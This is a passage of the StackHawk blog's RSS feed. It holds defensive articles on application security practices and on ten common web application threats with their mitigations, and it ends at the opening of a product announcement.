an application. With this, you will be able to identify and remediate security weaknesses as they are introduced into the application before they make it to production. This will strengthen the application&amp;#39;s security at its core. &lt;/p&gt;&lt;p&gt;When you don&amp;#39;t focus on app security early in the development lifecycle and leave it until after the application is developed, it&amp;#39;s more expensive to fix weaknesses identified later. For instance, if a major vulnerability is found and is baked into multiple areas of the code, a major refactor will need to take place. Generally, this means that the code will then need to go through deployment and QA release processes again too. This increases the cost of a project and the timeline for the release. &lt;/p&gt;&lt;p&gt;Most importantly, if you fail to identify or fix these weaknesses in time and the application is pushed into production, the application remains insecure and gives an upper hand to attackers. DevSecOps can reduce the likelihood of these scenarios taking place. Bringing in a DevSecOps methodology does require a cultural shift, so if you plan on bringing DevSecOps to your organization, you have to start by changing the mindset of your teams and training them accordingly. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Risk Assessment&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Risk assessment is the process of identifying and evaluating risks. Understanding security risk is important because it helps you interpret where you&amp;#39;re at and what security measures are appropriate for you. Performing risk assessments and acting on the results helps you avoid breaches and regulatory issues and reduces long-term costs. Many enterprises, especially those that are heavily regulated, have risk assessments built into their software development lifecycle by default. Usually, this involves having a rating system to classify the risk associated with each application based on specific factors. These factors may include the impact of data loss, network or application outages, or a data breach.&lt;/p&gt;&lt;p&gt;Risk assessment gives you a larger picture of your application&amp;#39;s security. Without it, you might not be able to identify all areas where you need to implement or enhance security. Risk assessment starts with identifying &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-risks-4-types-and-how-to-fix-them/&quot;&gt;&lt;u&gt;risks&lt;/u&gt;&lt;/a&gt; and evaluating them. Then, you can begin to design and apply improvements to decrease the risk within the application. Finally, you should test your improved app to make sure that it has improved in the areas outlined for improvement. Risk assessment is an ongoing process that should be conducted as part of the duties of application design, build, and ownership. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Logging&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A lot of intelligence can come from data produced by your applications and application logs are a great source of data to evaluate and enhance application security. As part of this, you need to ensure that proper logging is implemented for your application to truly get a better understanding of what&amp;#39;s happening behind the scenes. &lt;/p&gt;&lt;p&gt;Logs can be used for proactive and reactive security. You can identify how attackers are trying to break into the security of your application and work on improving security to avoid a breach. Logs play a significant role in incident response if attackers manage a breach. Without proper logging, you don&amp;#39;t have visibility into your application and its infrastructure. A great way to use logs for security is to deploy a log monitoring tool that can look for specific patterns and scenarios and alert teams of potential security threats.&lt;/p&gt;&lt;p&gt;You need to be very tactful in how you plan and implement logging for your applications. Too much or too little is not good. Too little logging will not allow you to see how your application is truly being used. Too much could clog up the log stream and be hard to parse through. As well, logging too much data could expose data that could cause issues, such as logging login credentials or sensitive data, if an attacker were to gain access to the logs. Therefore, your logging strategy is an extremely important part of the implementation. Before you start implementing logging systems, try to understand what needs to be logged and how long your log retention period should be. After that, go about designing and implementing logging. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Real-time Monitoring and Protection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A couple of minutes, or even seconds in some cases, is enough to do a lot of damage when an application is breached. You might have implemented extremely sophisticated and intelligent security systems, but if they don&amp;#39;t act on time, they&amp;#39;re no help when attackers strike. We live in an age where only real-time reactivity is fast enough. Real-time monitoring and protection help you act in time and manage incidents in the moments they occur either by notifying the appropriate parties or through automation. However, it’s important to note that not all areas of an application necessarily need this real-time monitoring and protection. The best approach is to start by identifying which areas need real-time &lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-vs-api-security-monitoring/&quot;&gt;&lt;u&gt;monitoring&lt;/u&gt;&lt;/a&gt; and protection, the potential tools that offer real-time monitoring and protection, and, lastly, applying the capabilities of the tool to fit the needs of your application. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Vulnerability and Patch Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Vulnerability management is the process of identifying and prioritizing vulnerabilities. Patch management is the process of planning and applying patches to the software and infrastructure that your application uses. Both of these processes are important to stay up to date with the latest fixes and avoid a potential breach. &lt;/p&gt;&lt;p&gt;As applications have become more complex, security vulnerability and patch management is not an easy task anymore. There are generally a wide variety of languages, frameworks, third-party dependencies, and infrastructure products that are used to create modern web apps. Based on each of these components, you need to track and apply fixes and mitigations in time, without impacting “business-as-usual” processes. Not patching a security issue in time leaves room for attackers to exploit them. One way to approach this is by identifying all components that need management, putting policies in place for vulnerability and patch management, and defining processes for handling the work involved. Automation can be of great help in this process since some systems can automatically manage and install the latest patches. &lt;/p&gt;&lt;p&gt;When it comes to cloud applications, some managed services where an app is hosted will automatically have the latest patches applied. This is one aspect of cloud application security that can give it a leg up on traditional on-premise vulnerability and patch management. This is part of the allure of shifting applications to the cloud.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Training&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;One of the weakest links in security is humans. In any organization, there are a wide array of employees with various knowledge of security best practices. This leaves a potential gap for attackers who can use tactics, such as social engineering, to gain access to a system via an unknowing employee. For example, a malicious link could be used in an email to phish for access credentials.&lt;/p&gt;&lt;p&gt;Security training is important for two reasons. First, training and awareness result in employees building secure applications and implementing secure practices as they manage and deploy applications. Second, it avoids breaches through attacks involving humans, such as social engineering attacks. Proper training helps employees think in terms of security, which will be reflected in their tasks and boost the application&amp;#39;s security. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Use a Cybersecurity Framework&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Cybersecurity frameworks provide guidelines to improve the security of different types of applications and infrastructure. There are several frameworks out there, such as &lt;a href=&quot;https://www.nist.gov/cyberframework&quot;&gt;&lt;u&gt;NIST&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://attack.mitre.org/&quot;&gt;&lt;u&gt;MITRE&lt;/u&gt;&lt;/a&gt;, that you can apply to your applications and use for enhancing security. You can use these frameworks to analyze your current security implementations to see if there&amp;#39;s any aspect you&amp;#39;re lacking. Alternatively, if no security is in place yet, you can use them as a blueprint to build your security design. &lt;/p&gt;&lt;p&gt;Although using cybersecurity frameworks is mostly up to one&amp;#39;s preference, you might have to adhere to one or more of these frameworks for regulatory purposes. Certain industries require that certain standards or frameworks are adhered to. Failing to adhere to the expected standards or framework might result in large fines and other penalties. If you are in such an industry, the first step is to go through the regulations and see what frameworks you must adhere to. After researching and defining what your security strategy must look like, you can then implement the appropriate security mechanisms.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Application Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Once you&amp;#39;ve applied all security measures you can, it&amp;#39;s time to see the outcome and test the security of the application. Application security testing plays a very important role as it helps you evaluate your security implementations and identify anything you might have missed. Without testing, you can&amp;#39;t be sure about the impact of your security measures. There are plenty of ways that application security testing can be applied to developed software.&lt;/p&gt;&lt;p&gt;Of course, one type of security testing we can think to implement is the manual approach of penetration testing. On top of penetration testing your systems, you also may look to automate testing as well. Many different security tools exist for this, most of which can be implemented at the onset of application development. &lt;/p&gt;&lt;p&gt; Two types of application security testing tools we will look at here are: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Static Application Security Testing (SAST)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Dynamic Application Security Testing (DAST)&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;a href=&quot;https://snyk.io/learn/application-security/static-application-security-testing/&quot;&gt;&lt;u&gt;SAST&lt;/u&gt;&lt;/a&gt; involves scanning the application code to identify security loopholes in code implementation, potentially including vulnerable dependencies or components of the application. The great part about SAST is that it doesn&amp;#39;t need the application to be running. This means it can be applied as soon as the first line of code is written. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;u&gt;DAST&lt;/u&gt;&lt;/a&gt;, on the other hand, tests the application while it&amp;#39;s running. It focuses on interacting with the application and checking to see how it responds to actions. Unlike SAST, DAST tools require that the application is in a runnable state since it executes its testing procedures against the live, running application. Both tools are extremely complimentary to each other and are a great base for an automated testing strategy.&lt;/p&gt;&lt;p&gt;Depending on your application, you have the choice to choose a &lt;a href=&quot;https://www.stackhawk.com/blog/zap-vs-stackhawk-comparison/&quot;&gt;&lt;u&gt;tool&lt;/u&gt;&lt;/a&gt; that works best for you. A great DAST tool you might want to check out StackHawk&amp;#39;s &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;DAST tool&lt;/u&gt;&lt;/a&gt; since it is extremely easy to configure and set up. It&amp;#39;s a complete solution that tests your running applications, services, and APIs for security vulnerabilities. It integrates into engineers&amp;#39; workflow by integrating directly into the CI/CD pipeline, giving them quick and automated feedback loops to find, fix, and triage. This also gives security teams complete visibility into what is happening and control over what to prioritize and fix.  &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Conduct Bug Bounty Programs&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Bug bounty programs are an extension of security testing. Depending on the tools you use and your team&amp;#39;s knowledge, you might be limited in what weaknesses you discover in the application. Also, prior knowledge of what the application is and how it functions might narrow your view while testing. A &lt;a href=&quot;https://en.wikipedia.org/wiki/Bug_bounty_program&quot;&gt;&lt;u&gt;bug bounty progra&lt;/u&gt;&lt;/a&gt;&lt;u&gt;m&lt;/u&gt; is a great way to get an outsider&amp;#39;s view of your application security. &lt;/p&gt;&lt;p&gt;A bug bounty program generally offers a financial reward to people who find and report bugs in an application. These programs have become a mainstay for many companies including Yahoo, Cisco, Snapchat, and many others. Bug bounty programs are a great way to include the security community and ethical hackers in the process of making your applications more secure.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-announces-hawkscan-test-engine/&quot;&gt;&lt;i&gt;Check out StackHawk&amp;#39;s ZAP bounty program.&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Application security is a must in this era, and it&amp;#39;s good that companies are focusing on it at an increasing rate. Building a highly secure web application is not an easy task, especially when modern web applications have become so complex. You need good planning, design, and execution to get it right. In this post, we went through some of the most popular application security best practices to build a baseline for your application’s security. Depending on your application and business needs, you might need to incorporate more security practices than what we have covered here. At a minimum, applying each security best practice mentioned in this article is a good place to start.&lt;/p&gt;&lt;p&gt;One of the game-changing factors in application security is the set of tools you use. StackHawk&amp;#39;s DAST is one such tool that can change the way you look at application testing and API security. Easily integrated into your CI/CD pipeline, StackHawk allows for repeatable and automated testing to ensure the security of your application. If you&amp;#39;re interested in knowing more about this tool, &lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;check out the demo&lt;/u&gt;&lt;/a&gt; to see exactly how powerful and easy the platform is to use. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[10 Web Application Security Threats and How to Mitigate Them]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/10-web-application-security-threats-and-how-to-mitigate-them</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Web application security is crucial to ensuring the safety and security of online systems and their users. As more and more daily activities and transactions move online, the importance of securing web applications becomes increasingly clear. Daily reports of breaches and always-changing security threats mean that security is a top priority for every organization.&lt;/p&gt;&lt;p&gt;In this article, we&amp;#39;ll explore ten common web application security threats, the consequences of these threats, how web applications are vulnerable to them, and how to mitigate them.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;10 Web Application Security Threats&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Here are the ten common web application security threats we will cover in this article:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;SQL injection&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-site scripting (XSS)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-site request forgery (CSRF)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Insecure direct object references&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Remote code execution&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Insufficient logging and monitoring&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Insecure cryptographic storage&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Failure to restrict URL access&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Cross-origin resource sharing (CORS) misconfiguration&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Using components with known vulnerabilities&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;1. SQL Injection&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;A &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;u&gt;SQL injection&lt;/u&gt;&lt;/a&gt; attack is executed when an attacker injects malicious code into an application&amp;#39;s database through user input fields. These types of attacks can accomplish many different things. Two of the most common outcomes include allowing the attacker to gain unauthorized access to sensitive data stored in the database. Depending on what data the database is storing, the attack could get access to passwords, financial information, and personal data. The second outcome could be the manipulation or deletion of data. For instance, a user may be able to execute a &lt;b&gt;DROP TABLE &lt;/b&gt;or&lt;b&gt; DROP DATABASE &lt;/b&gt;command.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Validate user input.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use output encoding, which involves converting special characters such as &amp;lt; and &amp;gt; into their HTML entity equivalents, to prevent them from being interpreted as HTML code.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use prepared statements, parameterized queries, or stored procedures instead of dynamic SQL whenever possible.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Most languages and frameworks have recommended ways of handling form input. By combing frontend and backend standards to prevent SQL injection from happening, your application can increase its security against this type of threat.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;2. Cross-Site Scripting (XSS)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;u&gt;Cross-site scripting (XSS)&lt;/u&gt;&lt;/a&gt; attacks involve injecting malicious code or a malicious script into a website. The website then executes the script, allowing the attacker to steal sensitive user data, like session tokens and cookies, or perform other actions.&lt;/p&gt;&lt;p&gt;There are two main types of XSS attacks: reflective and stored. Reflective XSS attacks involve injecting malicious code into a website that is immediately executed. Stored XSS attacks involve injecting malicious code into a website that is stored and executed at a later time.&lt;/p&gt;&lt;p&gt;If successful, a cross-site scripting attack can result in the theft of user session IDs, website defacement, and redirection to malicious sites, thereby enabling phishing attacks.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Validate user input.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use output encoding techniques.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use auto-sanitization libraries such as &lt;a href=&quot;https://owasp.org/www-project-antisamy/&quot;&gt;&lt;u&gt;OWASP AntiSamy&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement a content security policy.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Similar to the recommendation for SQL injection, using modern web frameworks generally tends to steer developers towards secure coding practices to avoid XSS and similar attacks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;3. Cross-Site Request Forgery (CSRF)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;u&gt;Cross-site request forgery (CSRF)&lt;/u&gt;&lt;/a&gt; is a type of attack that involves tricking a victim into performing an action on a website without their knowledge. This can be done by injecting a malicious link or form into a website that the victim is already authenticated on.&lt;/p&gt;&lt;p&gt;When the victim clicks the link or submits the form, the action is performed on their behalf, potentially leading to data loss or unauthorized access.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Leverage CSRF protections already built into the framework you are using, if applicable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use CSRF tokens. These are unique, randomized values associated with a user&amp;#39;s session and are included in forms and links to verify the authenticity of the request.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use SameSite cookies. These are a type of cookie that is only sent with requests to the same origin as the cookie&amp;#39;s creation. This can help prevent attackers from being able to send requests on behalf of a victim, as they would not have access to the victim&amp;#39;s SameSite cookies.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;4. Insecure Direct Object References (IDOR)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Insecure Direct Object References, or IDOR, occur when an application exposes direct object references, such as URLs or database keys, that allow attackers to access restricted data by manipulating these references.&lt;/p&gt;&lt;p&gt;For example, an application may allow users to access their account information by entering their account number in a URL, such as &lt;b&gt;&amp;quot;www.example.com/account/123&amp;quot;&lt;/b&gt;. An attacker could potentially access other users&amp;#39; account information by changing the account number in the URL.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implement proper access controls and session management. This involves setting up mechanisms to ensure that only authorized users have access to certain resources or data. The OWASP cheat sheets on &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html&quot;&gt;&lt;u&gt;authorization&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html&quot;&gt;&lt;u&gt;authentication&lt;/u&gt;&lt;/a&gt; can be helpful resources for reviewing best practices in these areas.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Validate user input. To help prevent attackers from manipulating direct object references to access-restricted data, ensure that user input is the correct type, length, and format.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid using predictable references. Instead, consider using globally unique identifiers (GUIDs) to prevent attackers from guessing the direct object references they need to access restricted data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As noted in the mitigation steps above, IDOR-based vulnerabilities don’t occur on their own. These vulnerabilities must be coupled with other vulnerabilities to become an effective attack vector.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;5. Remote Code Execution (RCE)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Remote Code Execution (RCE) attacks allow attackers to execute arbitrary code on a server, potentially leading to full system compromise and unauthorized access to sensitive data.&lt;/p&gt;&lt;p&gt;RCE attacks can occur through a variety of means, such as exploiting vulnerabilities in code libraries or injecting malicious code through user input fields.&lt;/p&gt;&lt;p&gt;A successful RCE attack can have several consequences. These include Denial of Service (DoS) attacks, exposure of sensitive data, illicit cryptocurrency mining, and execution of malware. In some cases, a successful RCE attack can even give full control over the compromised machine to the attacker.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Sanitize user input.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement secure memory management. RCE attackers can potentially take advantage of memory management flaws such as buffer overflows. Conducting regular security vulnerability scans on your applications can help you identify buffer overflow and memory-related vulnerabilities that an attacker could exploit.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Always keep your operating system and your third-party software up to date to ensure that you have the latest security patches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Limit the attacker&amp;#39;s ability to move through a network y implementing network segmentation, access management, and a zero-trust security strategy.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;RCE attacks have been a major source of breaches in the last few years, many leading to worldwide security emergencies. One that many people will remember is the Log4j fiasco discovered in 2021 where multiple RCE vulnerabilities were discovered in Log4j. These RCE vulnerabilities allowed attackers to exploit vulnerable applications to execute Cryptojacking attacks and other malware on compromised servers.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;6. Insufficient Logging and Monitoring&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Insufficient logging and monitoring refer to a lack of proper logging and monitoring processes in place to detect and respond to security threats. This can allow attackers to go unnoticed and continue to compromise the system, potentially leading to data loss and financial loss.&lt;/p&gt;&lt;p&gt;It’s also important to be aware of what is being logged. If secure information, such as credit card numbers or passwords, are being written to logs, attackers who gain access to the logs could use this information maliciously. Fraudulent credit card charges or unauthorized access to a system could be easily executed.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Enable logging for key events and actions in your application and monitor logs regularly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use log analysis tools. These can help automate the process of reviewing logs and identify potential security issues or anomalies more quickly and efficiently.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Set up alerting systems to notify administrators of any potential security issues in real time, allowing them to respond more quickly to potential threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Ensure that sensitive information is either not included in logs or is properly masked.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;7. Insecure Cryptographic Storage&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Insecure cryptographic storage refers to the improper handling of cryptographic keys, such as storing them in plain text or using weak keys. This can allow attackers to gain access to sensitive data through compromised cryptographic keys.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Use strong cryptographic algorithms, such as AES or RSA, to secure stored data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement key management best practices, such as regularly rotating keys and securely storing them, to help prevent unauthorized access to encrypted data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use secure storage solutions, such as hardware security modules or encrypted storage devices, to help further protect encrypted data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;One suggestion is also to audit the data that you need to store in an encrypted state. The best way to protect data is to simply not store it at all. If sensitive data is being stored without need, it may be best to forego the storage of this data to lessen the data that potential attackers have access to.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;8. Failure to Restrict URL Access / Broken Access Control&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Failure to restrict URL access refers to a lack of proper access controls that allow unauthorized users to access restricted pages and resources. This can allow attackers to access sensitive data and potentially compromise the system.&lt;/p&gt;&lt;p&gt;This security threat is mostly similar and related to the IDOR vulnerabilities we discussed earlier. The core differentiating factor between the two is that IDOR tends to give the attacker access to information in the database, while failure to restrict URL access allows the attacker access to special functions and features that should not be available to any typical user.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Implement proper access controls by setting up authentication and authorization processes to ensure that only authorized users have access to certain resources or functions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use role-based authorization. The enforcement mechanism should deny all access by default, requiring explicit grants to specific users and roles for access to every page.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Implement adequate authorization measures at relevant stages of user web app use.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Many routing libraries and routing mechanisms built into modern web frameworks tend to protect against this by default. By making sure that the application routing is set up correctly, these types of vulnerabilities can be completely avoided.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;9. Cross-Origin Resource Sharing (CORS) Misconfiguration&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cors/&quot;&gt;&lt;u&gt;Cross-Origin Resource Sharing (CORS)&lt;/u&gt;&lt;/a&gt; is a security feature that allows a web server to specify which domains are allowed to access its resources. However, if CORS is misconfigured, it can allow attackers to access restricted resources from a different origin. This could potentially expose data through services that can be used without authorization.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Properly configure CORS headers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use CORS libraries that provide an easy-to-use interface for configuring CORS headers to help you configure CORS properly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Many server-side frameworks and platforms can aid developers in properly configuring CORS for their services. Developers should be aware of how CORS can be configured in the framework of their choosing. One common reason for CORS security misconfiguration is that when developers are creating applications locally they will set an entirely open CORS policy for easier development. Ensuring that these policies do not get checked into production code is crucial.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;10. Using Components with Known Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Using components with known vulnerabilities refers to the use of outdated code libraries, frameworks, or other components with known vulnerabilities.&lt;/p&gt;&lt;p&gt;Many websites today are built using complex components, which can make it difficult for development teams to understand their internal workings. This can create potential vulnerabilities if a component contains known security issues that are not properly addressed.&lt;/p&gt;&lt;p&gt;You can mitigate this with the following steps:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Keep track of component versions. You can address any vulnerabilities by regularly checking for updates and staying up to date with the latest versions of components.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Use security scanners to help you identify known vulnerabilities in components and alert developers to potential issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Using tools like &lt;a href=&quot;https://docs.github.com/en/code-security/dependabot/dependabot-version-updates&quot;&gt;&lt;u&gt;Dependabot&lt;/u&gt;&lt;/a&gt; can help keep your dependencies up to date automatically. By using scanning tools and automation, keeping dependencies secure and up-to-date is easy to do as part of the development process.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is the Biggest Security Threat to a Web Application?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;It&amp;#39;s difficult to determine the single biggest threat to a web application. This is because it depends on the specific web application and its unique vulnerabilities.&lt;/p&gt;&lt;p&gt;However, the most common application security threats according to the &lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;&lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt; are broken access control, cryptographic failures, and injection (including SQL injection and cross-site scripting). By using the latest tools for security scanning and monitoring, as well as the latest secure coding practices, developers and their organizations can limit their exposure. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Web applications are an integral part of modern life, and as such, they&amp;#39;re a common target for attackers. By understanding common security threats and implementing proper mitigation techniques, web application developers and administrators can help protect their systems and users. To assist with this process, consider using a security platform like &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; to automate and improve your application security testing.&lt;/p&gt;&lt;p&gt;With StackHawk, developers can add Dynamic Application Security Testing directly into their CI/CD pipelines. StackHawk scans the running application for vulnerabilities that are outlined in the OWASP Top 10 and more. Developers are then able to view reports for each test that is executed, uncover vulnerabilities, and be guided on fixes. The best part: all of this can happen before the application hits production. To see the benefits of StackHawk for yourself, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;sign up today for a free trial&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Learn more&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Read on to see how StackHawk’s CSO, Scott Gerlach talks about “Shift Left” being more than just a buzzword &lt;/i&gt;&lt;a href=&quot;https://www.securitymagazine.com/articles/98674-shift-left-beyond-the-cybersecurity-buzzword#:~:text=Shifting%20security%20left%20means%20organizations,as%20they%20push%20new%20code.&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Check out why Omdia’s On the Radar report highlights StackHawk as an “interesting alternative to most other DAST tools” &lt;/i&gt;&lt;a href=&quot;https://www.stackhawk.com/lp/otr-stackhawk-for-dast-and-api-security-testing/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;.&lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;i&gt;Getting started with StackHawk? Check out Advice and Answers from the amazing StackHawk team &lt;/i&gt;&lt;a href=&quot;https://help.stackhawk.com/en/&quot;&gt;&lt;i&gt;&lt;u&gt;here&lt;/u&gt;&lt;/i&gt;&lt;/a&gt;&lt;i&gt;. &lt;/i&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Get Your Entire Flock Secured: StackHawk Launches Team-Sized Support]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/get-your-entire-flock-secured-stackhawk-launches-team-sized-support</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Brian Erickson]]></dc:creator><content:encoded>&lt;p&gt;Say hello to seamless security for large and growing companies! &lt;/p&gt;&lt;p&gt;At StackHawk, we believe that security is not just about scanning your applications and 